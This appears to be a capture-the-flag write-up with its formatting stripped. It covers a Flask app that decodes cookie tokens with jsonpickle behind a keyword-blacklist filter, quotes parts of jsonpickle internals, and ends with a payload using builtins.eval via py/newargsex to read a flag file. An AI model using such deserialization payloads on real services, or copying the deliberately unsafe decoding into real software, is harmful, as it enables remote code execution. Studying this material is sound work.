ifnot waf(token): return'Invalid token' token = jsonpickle.decode(token, safe=True) if time() - token.timestamp < 60: if token.username != 'admin': returnf'Welcome {token.username}, but you are not admin' return'Welcome admin, there is something in /s3Cr3T' return'Invalid token'
defdecode(self, string): """ Attempt to decode an object from a JSON string. This tries the loaded backends in order and passes along the last exception if no backends are able to decode the string. """ for idx, name inenumerate(self._backend_names): try: returnself.backend_decode(name, string) exceptself._decoder_exceptions[name] as e: if idx == len(self._backend_names) - 1: raise e else: pass
defloadclass(module_and_name, classes=None): """Loads the module and returns the class. >>> cls = loadclass('datetime.datetime') >>> cls.__name__ 'datetime' >>> loadclass('does.not.exist') >>> loadclass('builtins.int')() """ # Check if the class exists in a caller-provided scope if classes: pass # Otherwise, load classes from globally-accessible imports names = module_and_name.split('.') # First assume that everything up to the last dot is the module name, # then try other splits to handle classes that are defined within # classes for up_to inrange(len(names) - 1, 0, -1): module = util.untranslate_module_name('.'.join(names[:up_to])) try: __import__(module) obj = sys.modules[module] for class_name in names[up_to:]: obj = getattr(obj, class_name) return obj except (AttributeError, ImportError, ValueError): continue # NoneType is a special case and can not be imported/created if module_and_name == "builtins.NoneType": returntype(None) returnNone
def_loadmodule(module_str): """Returns a reference to a module. >>> fn = _loadmodule('datetime/datetime.datetime.fromtimestamp') >>> fn.__name__ 'fromtimestamp' """ module, identifier = module_str.split('/') result = __import__(module) for name in identifier.split('.')[1:]: try: result = getattr(result, name) except AttributeError: returnNone return result
defloadrepr(reprstr): """Returns an instance of the object from the object's repr() string. It involves the dynamic specification of code. .. warning:: This function is unsafe and uses `eval()`. >>> obj = loadrepr('datetime/datetime.datetime.now()') >>> obj.__class__.__name__ 'datetime' """ module, evalstr = reprstr.split('/') mylocals = locals() localname = module if'.'in localname: localname = module.split('.', 1)[0] mylocals[localname] = __import__(module) returneval(evalstr, mylocals)
def_restore_reduce(self, obj): """ Supports restoring with all elements of __reduce__ as per pep 307. Assumes that iterator items (the last two) are represented as lists as per pickler implementation. """ reduce_val = list(map(self._restore, obj[tags.REDUCE])) iflen(reduce_val) < 5: reduce_val.extend([None] * (5 - len(reduce_val))) f, args, state, listitems, dictitems = reduce_val
def_restore_object_instance(self, obj, cls, class_name=''): # An object can install itself as its own factory, so load the factory # after the instance is available for referencing. factory = self._loadfactory(obj)
if has_tag(obj, tags.NEWARGSEX): args, kwargs = obj[tags.NEWARGSEX] else: args = getargs(obj, classes=self._classes) kwargs = {} if args: args = self._restore(args) if kwargs: kwargs = self._restore(kwargs)
defdetect_encoding(b): bstartswith = b.startswith if bstartswith((codecs.BOM_UTF32_BE, codecs.BOM_UTF32_LE)): return'utf-32' if bstartswith((codecs.BOM_UTF16_BE, codecs.BOM_UTF16_LE)): return'utf-16' if bstartswith(codecs.BOM_UTF8): return'utf-8-sig'
iflen(b) >= 4: ifnot b[0]: # 00 00 -- -- - utf-32-be # 00 XX -- -- - utf-16-be return'utf-16-be'if b[1] else'utf-32-be' ifnot b[1]: # XX 00 00 00 - utf-32-le # XX 00 00 XX - utf-16-le # XX 00 XX -- - utf-16-le return'utf-16-le'if b[2] or b[3] else'utf-32-le' eliflen(b) == 2: ifnot b[0]: # 00 XX - utf-16-be return'utf-16-be' ifnot b[1]: # XX 00 - utf-16-le return'utf-16-le' # default return'utf-8'
from flask import Flask, request, render_template, redirect from dataclasses import dataclass from time import time import jsonpickle import base64 import json import os @dataclass classUser: username: str password: str @dataclass classToken: username: str timestamp: int
app = Flask(__name__) users = [User('admin', os.urandom(32).hex()), User('guest', 'guest')] BLACKLIST = [ 'repr','state','json','reduce','tuple','nt','\\\\','builtins','os','popen','exec','eval','posix', 'spawn','compile','code'] defwaf(jtoken): otoken = json.loads(jtoken) token = json.dumps(otoken, ensure_ascii=False) for keyword in BLACKLIST: if keyword in token: returnFalse returnTrue @app.route('/') defindex(): return render_template('index.html', title='Home') @app.post('/login') deflogin(): username = request.form.get('username') password = request.form.get('password') for user in users: if user.username == username and user.password == password: res = app.make_response('Login successful') token = Token(username, time()) res.status_code = 302 res.set_cookie('token', base64.urlsafe_b64encode(jsonpickle.encode(token).encode()).decode()) res.headers['Location'] = '/home' return res return'Invalid credentials(guest/guest)' @app.route('/home') defhome(): token = request.cookies.get('token') if token: jtoken = base64.urlsafe_b64decode(token.encode()).decode() ifnot waf(jtoken): return'Invalid token' token = jsonpickle.decode(jtoken, safe=True) if time() - token.timestamp < 60: if token.username != 'admin': returnf'Welcome {token.username}, but you are not admin' return'Welcome admin, there is something in /s3Cr3T' return'Invalid token' @app.route('/s3Cr3T') defsecret(): token = request.cookies.get('token') if token: jtoken = base64.urlsafe_b64decode(token.encode()).decode() ifnot waf(jtoken): return'Invalid token' token = jsonpickle.decode(jtoken, safe=True) if time() - token.timestamp < 60: if token.username != 'admin': return'Invalid token' return'''if not waf(token): return 'Invalid token'token = jsonpickle.decode(token, safe=True)', 'if time() - token.timestamp < 60: if token.username != 'admin': ", " return f'Welcome {token.username}, but you are not admin'", " return 'Welcome admin, there is something in /s3Cr3T'", "return 'Invalid token'", "'''.strip() return'Invalid token'
if __name__ == '__main__': app.run('0.0.0.0', 5000)
ifnot waf(token): return'Invalid token' token = jsonpickle.decode(token, safe=True) if time() - token.timestamp < 60: if token.username != 'admin': returnf'Welcome {token.username}, but you are not admin' return'Welcome admin, there is something in /s3Cr3T' return'Invalid token'
s = "{'username':{'py/object':'builtins.eval','py/newargsex':[{'py/tuple': ['open(\"./flag\").read()']},'']}}" a = jsonpickle.decode(s,safe=True) print(a['username'])